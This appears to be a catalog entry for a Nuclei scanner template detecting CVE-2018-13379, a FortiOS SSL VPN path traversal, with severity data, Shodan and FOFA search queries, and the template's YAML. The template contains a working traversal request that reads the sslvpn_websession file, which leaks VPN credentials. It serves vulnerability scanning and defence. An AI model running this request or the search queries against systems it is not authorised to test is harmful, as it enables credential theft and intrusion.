CVE-2018-13379: Fortinet FortiOS - Credentials Disclosure
- Template: CVE-2018-13379
- Name: Fortinet FortiOS - Credentials Disclosure
- Description: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests due to improper limitation of a pathname to a restricted directory (path traversal).
- Impact: An attacker can obtain sensitive information such as usernames and passwords.
- Remediation: Apply the necessary patches or updates provided by Fortinet to fix the vulnerability.
- Severity: critical
- Authors: organiccrap
- Tags: cve2018, cve, fortios, lfi, kev, fortinet, vkev, vuln
- References: https://fortiguard.com/advisory/FG-IR-18-384, https://www.fortiguard.com/psirt/FG-IR-20-233, https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379
- Cves: CVE-2018-13379
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2018/CVE-2018-13379.yaml
- Digest: 490a00463044022077dfafe24a176b16de1ee90190e105ef02c654691be9c362372d2d9126bb8e79022054039d61b8d37052d71f5a9c1a5019bd5f06253db3daf289f072f23498d11376
- Created at: 2020-04-22T09:42:04Z
- Updated at: 2026-06-16T07:13:51Z
- Age in days: 2407
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-13379.yaml
Classification
- Cwe: CWE-22
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.99999
- Epss percentile: 0.99994
- Cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="/remote/login" "xxxxxxxx", icon_hash=945408572
- Max-request: 1
- Product: fortios
- Shodan-query: http.html:"/remote/login" "xxxxxxxx", http.favicon.hash:945408572, cpe:"cpe:2.3:o:fortinet:fortios", port:10443 http.favicon.hash:945408572
- Vendor: fortinet
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| fortinet:fortios | yes | /v1/products/fortinet/fortios |
Labels
- Name: Fortinet FortiOS & FortiProxy - Path Traversal
- Impact: Unauthenticated attackers can download sensitive system files, potentially leading to information disclosure or further exploitation.
- Remediation: Update to the latest firmware versions that address this vulnerability, or apply available security patches from Fortinet.
- Vulnerability type: path_traversal
- Vulnerability impact: information_disclosure, file_system_read
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2018-13379
- Not known: requirements
```yaml
id: CVE-2018-13379
info:
name: Fortinet FortiOS - Credentials Disclosure
author: organiccrap
severity: critical
description: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests due to improper limitation of a pathname to a restricted directory (path traversal).
impact: |
An attacker can obtain sensitive information such as usernames and passwords.
remediation: |
Apply the necessary patches or updates provided by Fortinet to fix the vulnerability.
reference:
- https://fortiguard.com/advisory/FG-IR-18-384
- https://www.fortiguard.com/psirt/FG-IR-20-233
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-13379
cwe-id: CWE-22
epss-score: 0.99999
epss-percentile: 0.99994
cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: fortinet
product: fortios
shodan-query:
- http.html:"/remote/login" "xxxxxxxx"
- http.favicon.hash:945408572
- cpe:"cpe:2.3:o:fortinet:fortios"
- port:10443 http.favicon.hash:945408572
fofa-query:
- body="/remote/login" "xxxxxxxx"
- icon_hash=945408572
tags: cve2018,cve,fortios,lfi,kev,fortinet,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
matchers:
- type: regex
part: body
regex:
- '^var fgt_lang ='
digest: 490a00463044022077dfafe24a176b16de1ee90190e105ef02c654691be9c362372d2d9126bb8e79022054039d61b8d37052d71f5a9c1a5019bd5f06253db3daf289f072f23498d11376:922c64590222798bb761d5b6d8e72950
```